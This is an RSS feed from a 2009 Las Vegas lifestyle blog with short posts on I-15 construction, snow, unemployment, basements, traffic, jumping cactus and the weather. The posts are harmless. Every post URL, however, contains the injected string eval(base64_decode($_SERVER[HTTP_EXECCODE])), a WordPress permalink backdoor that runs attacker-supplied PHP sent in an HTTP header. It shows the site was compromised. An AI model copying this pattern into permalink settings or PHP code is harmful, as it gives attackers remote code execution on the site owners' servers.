<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sin City Living &#187; Living in Las Vegas</title>
	<atom:link href="http://www.sincityliving.com/topics/living-in-las-vegas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sincityliving.com</link>
	<description>Life in Las Vegas, Nevada</description>
	<lastBuildDate>Wed, 23 Dec 2009 16:26:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>I15 Construction. . . ends early</title>
		<link>http://www.sincityliving.com/2009/12/23/i15-construction-ends-early/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/12/23/i15-construction-ends-early/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 16:26:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>
		<category><![CDATA[Local News]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/i15-construction-ends-early/214/</guid>
		<description><![CDATA[This would never happen in LA.
Today the Las Vegas Sun reports that the widening project of Interstate 15 will come to complete a full 10 months ahead of schedule. 

Consider it a Christmas gift — major construction on Interstate 15 north of the Spaghetti Bowl will be finished and all lanes and ramps will be [...]]]></description>
			<content:encoded><![CDATA[<p>This would never happen in LA.</p>
<p>Today the Las Vegas Sun <a href="http://www.lasvegassun.com/news/2009/dec/23/i-15-construction-coming-close-early/">reports</a> that the widening project of Interstate 15 will come to complete a full 10 months ahead of schedule. </p>
<blockquote><p>
Consider it a Christmas gift — major construction on Interstate 15 north of the Spaghetti Bowl will be finished and all lanes and ramps will be open on Christmas Eve.
</p></blockquote>
<p>Compare that to the 10+ years of road work we had to deal with on the 405 freeway from LAX to Santa Monica and Valley freeway projects seem downright lovely.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/12/23/i15-construction-ends-early/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First Snow of the Season</title>
		<link>http://www.sincityliving.com/2009/12/08/first-snow-of-the-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/12/08/first-snow-of-the-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 18:20:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/?p=210</guid>
		<description><![CDATA[We woke up to beautiful white-capped mountains this morning! It&#8217;s been very cold the last few days with temperatures in the low 30s at night. Will we see another day of real snow here in Las Vegas?
]]></description>
			<content:encoded><![CDATA[<p>We woke up to beautiful white-capped mountains this morning! It&#8217;s been very cold the last few days with temperatures in the low 30s at night. Will we see another day of real snow here in Las Vegas?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/12/08/first-snow-of-the-season/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unemployment Figures Soar</title>
		<link>http://www.sincityliving.com/2009/09/18/unemployment-figures-soar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/09/18/unemployment-figures-soar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 21:33:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/unemployment-figures-soar/202/</guid>
		<description><![CDATA[Some sobering statistics about people out of work in Las Vegas and Nevada:

The unemployment rate in Las Vegas is 13.4%
Statewide that figure is 13.2%
There are 182,000 unemployed workers in Las Vegas
This is double the number we had at this time last year

]]></description>
			<content:encoded><![CDATA[<p>Some sobering statistics about people out of work in Las Vegas and Nevada:</p>
<ul>
<li>The unemployment rate in Las Vegas is 13.4%</li>
<li>Statewide that figure is 13.2%</li>
<li>There are 182,000 unemployed workers in Las Vegas</li>
<li>This is double the number we had at this time last year</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/09/18/unemployment-figures-soar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Job Postings vs. People</title>
		<link>http://www.sincityliving.com/2009/08/19/job-postings-vs-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/08/19/job-postings-vs-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 20:35:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/?p=193</guid>
		<description><![CDATA[Las Vegas shows up at #39 in this interesting chart on about Job Listings per Capita
]]></description>
			<content:encoded><![CDATA[<p>Las Vegas shows up at #39 in this interesting chart on about <a href="http://www.indeed.com/jobtrends/unemployment">Job Listings per Capita</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/08/19/job-postings-vs-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No Basements in Las Vegas</title>
		<link>http://www.sincityliving.com/2009/06/02/no-basements-in-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/06/02/no-basements-in-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 17:56:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/no-basements-in-las-vegas/169/</guid>
		<description><![CDATA[
Ever wondered why there are no basements in Las Vegas? This is a question answered in a recent edition of &#8220;Ask Mr. Sun&#8220;.
Few homes in the valley have basements because of the prohibitive cost of excavation. As anyone who has added a pool to their backyard knows there is a hard layer of rock a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.sincityliving.com/images/las-vegas-sun-logo.jpg" alt="Las Vegas Sun"><br />
Ever wondered why there are no basements in Las Vegas? This is a question answered in a recent edition of &#8220;<a href="http://www.lasvegassun.com/news/2009/apr/28/why-dont-las-vegas-homes-dont-have-basements/">Ask Mr. Sun</a>&#8220;.</p>
<p>Few homes in the valley have basements because of the prohibitive cost of excavation. As anyone who has added a pool to their backyard knows there is a hard layer of rock a few feet down called <a href="http://en.wikipedia.org/wiki/Caliche_(mineral)"><em>caliche</em></a>. This stuff is thick, hard and difficult to remove (excavators use jackhammers to break it apart piece by piece).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/06/02/no-basements-in-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memorial Day Traffic</title>
		<link>http://www.sincityliving.com/2009/05/25/memorial-day-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/05/25/memorial-day-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 25 May 2009 23:38:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/memorial-day-traffic/168/</guid>
		<description><![CDATA[We got stuck in L.A.-bound traffic this morning when we decided to visit family in Victorville. It took us almost two hours to drive from Las Vegas to the state line at Primm (40 miles). Things were so bad that we decided to turn around and head back. Yikes!
]]></description>
			<content:encoded><![CDATA[<p>We got stuck in L.A.-bound traffic this morning when we decided to visit family in Victorville. It took us almost two hours to drive from Las Vegas to the state line at Primm (40 miles). Things were so bad that we decided to turn around and head back. Yikes!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/05/25/memorial-day-traffic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nevada is Average for Good / Bad Drivers</title>
		<link>http://www.sincityliving.com/2009/05/22/nevada-is-average-for-good-bad-drivers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/05/22/nevada-is-average-for-good-bad-drivers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 23 May 2009 00:56:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/nevada-is-average-for-good-bad-drivers/166/</guid>
		<description><![CDATA[Despite all the complaints we hear about the poor driving habits of Las Vegas residents, Nevada ranked #26 on the list of states ranked by safe driving record.
]]></description>
			<content:encoded><![CDATA[<p>Despite all the complaints we hear about the poor driving habits of Las Vegas residents, Nevada ranked #26 on the <a href="http://autos.yahoo.com/articles/autos_content_landing_pages/993/where-the-worst-drivers-live/">list of states ranked by safe driving record</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/05/22/nevada-is-average-for-good-bad-drivers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beware of Jumping Cactus</title>
		<link>http://www.sincityliving.com/2009/05/14/beware-of-jumping-cactus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/05/14/beware-of-jumping-cactus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 14 May 2009 18:01:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/beware-of-jumping-cactus/164/</guid>
		<description><![CDATA[
This morning I helped my neighbor remove the cactus barbs from his dog. He regularly takes his two dogs for runs up in the hilly desert area behind our subdivision. The poor pooch had a whole piece of jumping cholla stuck to his belly and several barbs on his legs and face.

. . . cholla [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.delange.org/JumpingCactus/Dsc00008a.jpg" alt="Jumping Cholla from Delange.org"><br />
This morning I helped my neighbor remove the cactus barbs from his dog. He regularly takes his two dogs for runs up in the hilly desert area behind our subdivision. The poor pooch had a whole piece of <a href="http://www.delange.org/JumpingCactus/JumpingCactus.htm">jumping cholla</a> stuck to his belly and several barbs on his legs and face.</p>
<blockquote><p>
. . . cholla cacti also known as &#8220;jumping cactus&#8221; it is notorious for very loose joint attachment, then the joints attach to hapless by-passers with the slightest brush.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/05/14/beware-of-jumping-cactus/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s Hot!</title>
		<link>http://www.sincityliving.com/2009/04/21/its-hot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/04/21/its-hot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 02:10:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/its-hot/157/</guid>
		<description><![CDATA[This update will seem a bit ironic given my previous post. We had our first +90 degree day here and I have to say it felt great.  Before long everyone in the valley will be complaining about the heat but I am content to enjoy the mild weather for now.
]]></description>
			<content:encoded><![CDATA[<p>This update will seem a bit ironic given my previous post. We had our first +90 degree day here and I have to say it felt great.  Before long everyone in the valley will be complaining about the heat but I am content to enjoy the mild weather for now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/04/21/its-hot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s Cold!</title>
		<link>http://www.sincityliving.com/2009/04/17/its-cold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/04/17/its-cold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 02:06:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Living in Las Vegas]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/its-cold/156/</guid>
		<description><![CDATA[It feels more like January than April today. There&#8217;s a dusting of snow on the mountains near us and we had brief rain showers. Earlier in the week we were enjoying temperatures in the mid-80s and had been leaving the windows open at night.
]]></description>
			<content:encoded><![CDATA[<p>It feels more like January than April today. There&#8217;s a dusting of snow on the mountains near us and we had brief rain showers. Earlier in the week we were enjoying temperatures in the mid-80s and had been leaving the windows open at night.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/04/17/its-cold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
